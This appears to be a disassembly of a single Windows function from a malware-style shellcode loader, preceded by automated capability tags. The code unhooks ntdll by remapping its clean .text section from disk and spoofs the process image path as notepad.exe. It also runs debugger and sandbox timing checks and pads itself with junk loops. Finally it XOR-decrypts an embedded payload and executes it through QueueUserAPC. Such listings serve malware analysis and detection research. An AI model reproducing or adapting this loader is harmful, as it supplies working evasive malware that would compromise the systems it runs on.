Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8d8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x880], ecx
mov qword [rbp + 0x888], rdx
call fcn.140002a80
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x84c], 0
mov dword [rbp + 0x848], 1
mov dword [rbp + 0x844], 0
mov dword [rbp + 0x7dc], 0x343
jmp 0x140001506
mov edx, dword [rbp + 0x84c]
mov eax, dword [rbp + 0x848]
add eax, edx
mov dword [rbp + 0x634], eax
add dword [rbp + 0x844], 1
mov eax, dword [rbp + 0x848]
mov dword [rbp + 0x84c], eax
mov eax, dword [rbp + 0x634]
mov dword [rbp + 0x848], eax
mov eax, dword [rbp + 0x844]
cmp eax, dword [rbp + 0x7dc]
jl 0x1400014d3
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
jne 0x140001598
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x140001bac
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x7d0]
mov r10, qword [rbp + 0x838]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x79c], 0
mov ecx, 0x3020
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov ecx, 0x3020
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov ecx, 0x3020
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov dword [rbp + 0x834], 0
jmp 0x1400017de
mov dword [rbp + 0x830], 0
jmp 0x1400017ca
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
cdqe
imul rcx, rax, 0x8c
mov rax, qword [rbp + 0x790]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
cdqe
imul rcx, rax, 0x8c
mov rax, qword [rbp + 0x788]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x22
jle 0x14000171f
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x57
jle 0x140001710
mov dword [rbp + 0x834], 0
jmp 0x140001897
mov dword [rbp + 0x830], 0
jmp 0x140001883
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x790]
add rdx, rax
mov eax, dword [rbp + 0x830]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x788]
add rdx, rax
mov eax, dword [rbp + 0x830]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x780]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x22
jle 0x140001806
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x57
jle 0x1400017fa
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x82e], 0
jmp 0x140001b94
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x82e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b83
mov dword [rbp + 0x5d8], 0
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 0x920
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x828], 0
jmp 0x140001a2f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x770]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x247
jle 0x1400019e2
mov dword [rbp + 0x828], 0
jmp 0x140001b1f
cmp dword [rbp + 0x828], 0
je 0x140001a8f
mov eax, dword [rbp + 0x828]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x828]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x770]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001a9b
add dword [rbp + 0x828], 1
jmp 0x140001b1f
mov eax, dword [rbp + 0x828]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x76c], eax
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x770]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x76c]
mov dword [rdx], eax
sub dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x247
jle 0x140001a4a
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov edx, dword [rbp + 0x5d8]
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x82e]
add eax, 1
mov word [rbp + 0x82e], ax
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x82e], ax
jb 0x1400018df
mov dword [rbp + 0x768], 0
mov dword [rbp + 0x81c], 0
mov ecx, 0x4eb4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x824], 0
jmp 0x140001c84
mov dword [rbp + 0x820], 0
jmp 0x140001c70
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x824]
movsxd rdx, edx
imul rcx, rdx, 0x114
mov rdx, qword [rbp + 0x760]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x820]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x824]
cdqe
imul rdx, rax, 0x114
mov rax, qword [rbp + 0x760]
add rdx, rax
mov eax, dword [rbp + 0x820]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001c69
add dword [rbp + 0x81c], 1
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x44
jle 0x140001bef
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x48
jle 0x140001be0
cmp dword [rbp + 0x81c], 0x9d6
jne 0x140001ca7
mov dword [rbp + 0x768], 1
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x7e8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x758]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x750]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x818], 0
jmp 0x140001d9a
call sub.msvcrt.dll_rand
imul eax, eax, 0x37d
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006610]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003df0
movq rax, xmm0
mov qword [rbp + 0x638], rax
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x27f
jle 0x140001d59
mov ecx, 0x595
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x595
jne 0x1400029b9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x5d4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5d4]
mov r8, qword [rbp + 0x748]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5d4]
cmp eax, 1
je 0x1400029b9
mov dword [rbp + 0x744], 0x236
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov eax, dword [rbp + 0x744]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x204
jbe 0x1400029b9
mov dword [rbp + 0x72c], 0x2fe
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x72c]
mov r8, qword [rbp + 0x720]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x2cc
jbe 0x1400029b9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x704], eax
mov ecx, 0x3c8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x700], eax
mov eax, dword [rbp + 0x700]
sub eax, dword [rbp + 0x704]
cmp eax, 0x396
jbe 0x1400029b9
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
jne 0x1400029b9
mov ecx, 0x631
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x631
jne 0x1400029b9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x6f4], 0x33a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e4], eax
mov eax, dword [rbp + 0x6f4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e0], eax
mov eax, dword [rbp + 0x6e0]
sub eax, dword [rbp + 0x6e4]
cmp eax, 0x308
jbe 0x1400029b9
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
je 0x1400029b9
mov rax, qword [rbp + 0x6d8]
mov edx, 0x45a
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6d4], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c4], eax
mov ecx, 0x36d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x6c4]
cmp eax, 0x33b
jbe 0x1400029b9
mov dword [rbp + 0x6bc], 0
mov ecx, 0x2e18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov ecx, 0x2e18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov ecx, 0x2e18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x814], 0
jmp 0x1400022bf
mov dword [rbp + 0x810], 0
jmp 0x1400022ab
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x814]
cdqe
imul rcx, rax, 0xec
mov rax, qword [rbp + 0x6b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x810]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x814]
cdqe
imul rcx, rax, 0xec
mov rax, qword [rbp + 0x6a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x810]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x3a
jle 0x1400021fa
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x31
jle 0x1400021eb
mov dword [rbp + 0x814], 0
jmp 0x140002396
mov dword [rbp + 0x810], 0
jmp 0x140002382
mov eax, dword [rbp + 0x814]
cdqe
imul rdx, rax, 0xec
mov rax, qword [rbp + 0x6b0]
add rdx, rax
mov eax, dword [rbp + 0x810]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x814]
cdqe
imul rdx, rax, 0xec
mov rax, qword [rbp + 0x6a8]
add rdx, rax
mov eax, dword [rbp + 0x810]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003a70
mov eax, dword [rbp + 0x814]
cdqe
imul rdx, rax, 0xec
mov rax, qword [rbp + 0x6a0]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x810]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x3a
jle 0x1400022ea
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x31
jle 0x1400022db
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0xd0]
lea rdx, [0x140006118]
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x698]
mov r8d, 0
mov edx, 0x4f7
mov ecx, 0x40000
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x690]
mov r8d, 0x4f7
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x674], 0
mov ecx, 0xef0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x80c], 0
jmp 0x140002542
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x808], eax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x3bb
jle 0x1400024c6
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0x4f7
mov rcx, rax
call r9
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x7fc], 0
movabs rax, 0x7cdef9d024e2a057
movabs rdx, 0xb51a31ed3760caab
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x46b6094359807a5
movabs rdx, 0x8fb5dde8744e75d4
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xfb98bfe191d23eef
movabs rdx, 0x1c9af5bfa48fd1ca
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x80cfa566347e00e4
movabs rdx, 0x2088a97ec57b66c
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x58cd5f2ef1a00208
movabs rdx, 0xb98e3d895edf1e
mov qword [rbp - 2], rax
mov qword [rbp + 6], rdx
movabs rax, 0xab2bb1a4086a8326
movabs rdx, 0x2236a72ed21aaeec
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x92f76b5a3fc996ee
movabs rdx, 0xc39094d9e1e01633
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x4dabe8913acb07da
movabs rdx, 0x4581c3221394b08b
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x54f925b35173320e
movabs rdx, 0x846b4121b6ca664f
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xbe797024fe53f0a9
movabs rdx, 0x923919404370e39b
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xdc06801170a2bb
mov qword [rbp + 0xc0], rax
jmp 0x14000272e
mov eax, dword [rbp + 0x804]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x800]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x804]
cdqe
mov byte [rbp + rax + 0x10], dl
cmp dword [rbp + 0x800], 0x4c
jne 0x140002720
mov dword [rbp + 0x800], 0
jmp 0x140002727
add dword [rbp + 0x800], 1
add dword [rbp + 0x804], 1
mov eax, dword [rbp + 0x804]
cmp eax, 0x56
jbe 0x1400026e3
mov dword [rbp + 0x804], 0
jmp 0x1400027fc
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7fc]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7fc], 0x56
jne 0x14000279b
mov dword [rbp + 0x7fc], 0
jmp 0x1400027a2
add dword [rbp + 0x7fc], 1
mov dword [rbp + 0x7f8], 0
jmp 0x1400027ec
call sub.msvcrt.dll_rand
shl eax, 2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006610]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bb0
movq rax, xmm0
mov qword [rbp + 0x640], rax
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x76
jle 0x1400027ae
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x4f6
jle 0x140002748
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x660]
mov r9, qword [rbp + 0x658]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0xdc8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x7f4], 0
jmp 0x1400028dd
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x648]
add rax, rdx
movsd xmm1, qword [0x140006610]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x1b8
jle 0x14000289f
mov dword [rbp + 0x7f4], 0
jmp 0x14000297a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7f4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x648]
lea rbx, [rcx + rdx]
